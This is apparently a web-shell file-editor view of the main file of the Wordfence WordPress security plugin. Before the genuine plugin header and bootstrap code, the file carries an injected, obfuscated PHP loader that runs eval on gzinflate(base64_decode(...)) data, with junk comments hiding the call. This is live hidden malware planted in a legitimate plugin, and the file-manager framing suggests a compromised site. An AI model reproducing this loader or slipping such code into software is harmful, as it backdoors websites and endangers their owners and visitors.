JezK
Edit File: wordfence.php
<?php /*tJ}^f5?#ybK4"kBl;B*/@ EvAL(/*QI 3.kcBJJPkJ*/'?>'.GZiNfLaTe(baSE64_deCODe('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')));/*p x/C:}:fA%S F+r7*/?> <?php /* Plugin Name: Wordfence Security Plugin URI: https://www.wordfence.com/ Description: Wordfence Security - Anti-virus, Firewall and Malware Scan Author: Wordfence Version: 8.1.4 Author URI: https://www.wordfence.com/ Text Domain: wordfence Domain Path: /languages Network: true Requires at least: 4.7 Requires PHP: 7.0 License: GPLv3 License URI: https://www.gnu.org/licenses/gpl-3.0.html @copyright Copyright (C) 2012-2023 Defiant Inc. @license http://www.gnu.org/licenses/gpl-3.0.html GNU General Public License, version 3 or higher This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see <https://www.gnu.org/licenses/>. */ if(defined('WP_INSTALLING') && WP_INSTALLING){ return; } if (!defined('ABSPATH')) { exit; } define('WORDFENCE_VERSION', '8.1.4'); define('WORDFENCE_BUILD_NUMBER', '1766263234'); define('WORDFENCE_BASENAME', function_exists('plugin_basename') ? plugin_basename(__FILE__) : basename(dirname(__FILE__)) . '/' . basename(__FILE__)); global $wp_plugin_paths; foreach ($wp_plugin_paths as $dir => $realdir) { if (strpos(__FILE__, $realdir) === 0) { define('WORDFENCE_FCPATH', $dir . '/' . basename(__FILE__)); define('WORDFENCE_PATH', trailingslashit($dir)); break; } } if (!defined('WORDFENCE_FCPATH')) { /** @noinspection PhpConstantReassignmentInspection */ define('WORDFENCE_FCPATH', __FILE__); /** @noinspection PhpConstantReassignmentInspection */ define('WORDFENCE_PATH', trailingslashit(dirname(WORDFENCE_FCPATH))); } if (!defined('WF_IS_WP_ENGINE')) { define('WF_IS_WP_ENGINE', isset($_SERVER['IS_WPE'])); } if (!defined('WF_IS_FLYWHEEL')) { define('WF_IS_FLYWHEEL', isset($_SERVER['SERVER_SOFTWARE']) && strpos($_SERVER['SERVER_SOFTWARE'], 'Flywheel/') === 0); } if (!defined('WF_IS_PRESSABLE')) { define('WF_IS_PRESSABLE', (defined('IS_ATOMIC') && IS_ATOMIC) || (defined('IS_PRESSABLE') && IS_PRESSABLE)); } require(dirname(__FILE__) . '/lib/wfVersionSupport.php'); /** * @var string $wfPHPDeprecatingVersion * @var string $wfPHPMinimumVersion * @var string $wfWordPressDeprecatingVersion * @var string $wfWordPressMinimumVersion */ if (!defined('WF_PHP_UNSUPPORTED')) { define('WF_PHP_UNSUPPORTED', version_compare(PHP_VERSION, $wfPHPMinimumVersion, '<')); } if (WF_PHP_UNSUPPORTED) { add_action('all_admin_notices', 'wfUnsupportedPHPOverlay'); function wfUnsupportedPHPOverlay() { include "views/unsupported-php/admin-message.php"; } return; } if (!defined('WF_WP_UNSUPPORTED')) { require(ABSPATH . 'wp-includes/version.php'); /** @var string $wp_version */ define('WF_WP_UNSUPPORTED', version_compare($wp_version, $wfWordPressMinimumVersion, '<')); } if (WF_WP_UNSUPPORTED) { add_action('all_admin_notices', 'wfUnsupportedWPOverlay'); function wfUnsupportedWPOverlay() { include "views/unsupported-wp/admin-message.php"; } return; } if(get_option('wordfenceActivated') != 1){ add_action('activated_plugin','wordfence_save_activation_error'); function wordfence_save_activation_error(){ update_option('wf_plugin_act_error', ob_get_contents()); } } if(! defined('WORDFENCE_VERSIONONLY_MODE')){ //Used to get version from file. //Duplicate block of wfUtils::memoryLimit(), copied here to avoid needing to include the class at this point of execution $maxMemory = ini_get('memory_limit'); if (!(is_string($maxMemory) || is_numeric($maxMemory)) || !preg_match('/^\s*\d+[GMK]?\s*$/i', $maxMemory)) { $maxMemory = '128M'; } //Invalid or unreadable value, default to our minimum $last = strtolower(substr($maxMemory, -1)); $maxMemory = (int) $maxMemory; if ($last == 'g') { $maxMemory = $maxMemory * 1024 * 1024 * 1024; } else if ($last == 'm') { $maxMemory = $maxMemory * 1024 * 1024; } else if ($last == 'k') { $maxMemory = $maxMemory * 1024; } if ($maxMemory < 134217728 /* 128 MB */ && $maxMemory > 0 /* Unlimited */) { $disabled = ini_get('disable_functions'); if (!is_string($disabled) || strpos(ini_get('disable_functions'), 'ini_set') === false) { @ini_set('memory_limit', '128M'); //Some hosts have ini set at as little as 32 megs. 128 is the min sane amount of memory. } } /** * Constant to determine if Wordfence is installed on another WordPress site one or more directories up in * auto_prepend_file mode. */ define('WFWAF_SUBDIRECTORY_INSTALL', class_exists('wfWAF') && !in_array(realpath(dirname(__FILE__) . '/vendor/wordfence/wf-waf/src/init.php'), get_included_files())); if (!WFWAF_SUBDIRECTORY_INSTALL) { require_once(dirname(__FILE__) . '/vendor/wordfence/wf-waf/src/init.php'); if (!wfWAF::getInstance()) { define('WFWAF_AUTO_PREPEND', false); require_once(dirname(__FILE__) . '/waf/bootstrap.php'); } } //Modules //Load require_once(dirname(__FILE__) . '/lib/wordfenceConstants.php'); require_once(dirname(__FILE__) . '/lib/wfI18n.php'); require_once(dirname(__FILE__) . '/lib/wordfenceClass.php'); wordfence::install_actions(); }